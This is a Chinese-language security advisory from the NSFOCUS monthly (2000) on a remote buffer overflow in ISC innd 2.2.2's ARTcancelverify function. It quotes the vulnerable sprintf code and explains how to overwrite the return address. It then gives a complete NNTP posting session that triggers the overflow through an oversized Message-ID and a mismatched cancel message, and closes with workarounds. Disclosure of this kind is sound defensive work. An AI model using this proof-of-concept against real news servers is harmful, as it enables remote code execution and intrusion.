首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第10期->最新漏洞
作者:Michal Zalewski <lcamtuf@tpi.pl>
日期:2000-06-14
受影响的系统: ISC innd 2.2.2
描述:
--------------------------------------------------------------------------------
innd 2.2.2 包含一个远程溢出漏洞。有问题的代码在innd/art.c中的ARTcancelverify函数中:
if (!EQ(local, p)) {
files = NULL;
(void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
p, MessageID, local);
ARTlog(Data, ART_REJECT, buff);
}
这里buff的大小是SMBUF字节(256字节),当用户发一条取消某篇文章的邮件到一个"control"新闻
组时,如果这个取消请求包含一个有效的Message-ID,但是这个取消请求与要被取消的文章中的
From/Sender域不一致,就会触发这段代码,导致发生缓冲区溢出。
<* 来源:Michal Zalewski <lcamtuf@tpi.pl> *>
测试程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
由于innd会严格的检查Message-ID中是否包含不可打印字符,因此可以利用它来填充缓冲区,
而用From/Sender的地址来覆盖返回地址,shellcode可以放在取消邮件中的很多地方,当溢
出发生时都会在可以访问的内存中。
下面的例子中LONGBUFFER代表500-600个"A":
-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none@LONGBUFFER>
From: <test@polbox.com>
Sender: <test@polbox.com>
Newsgroups: pl.test
testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid@test.pl>
Approved: <approver@approving.net>From: <sucker@free.net.pl>
Sender: <sucker@free.net.pl>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control
Damn, cancel it.
. <- single dot
quit
-- EOF --
--------------------------------------------------------------------------------
建议:
临时解决方法:
1. 如果不需要inn,只要卸载/删除这个程序即可
2. 将 /etc/news/inn.conf 中的这一行
verifycancels: true
用下面的这行代替
verifycancels: false
并重新装入INN配置文件:
/usr/libexec/inn/bin/ctlinnd reload all 'security fix'
版权所有,未经许可,不得转载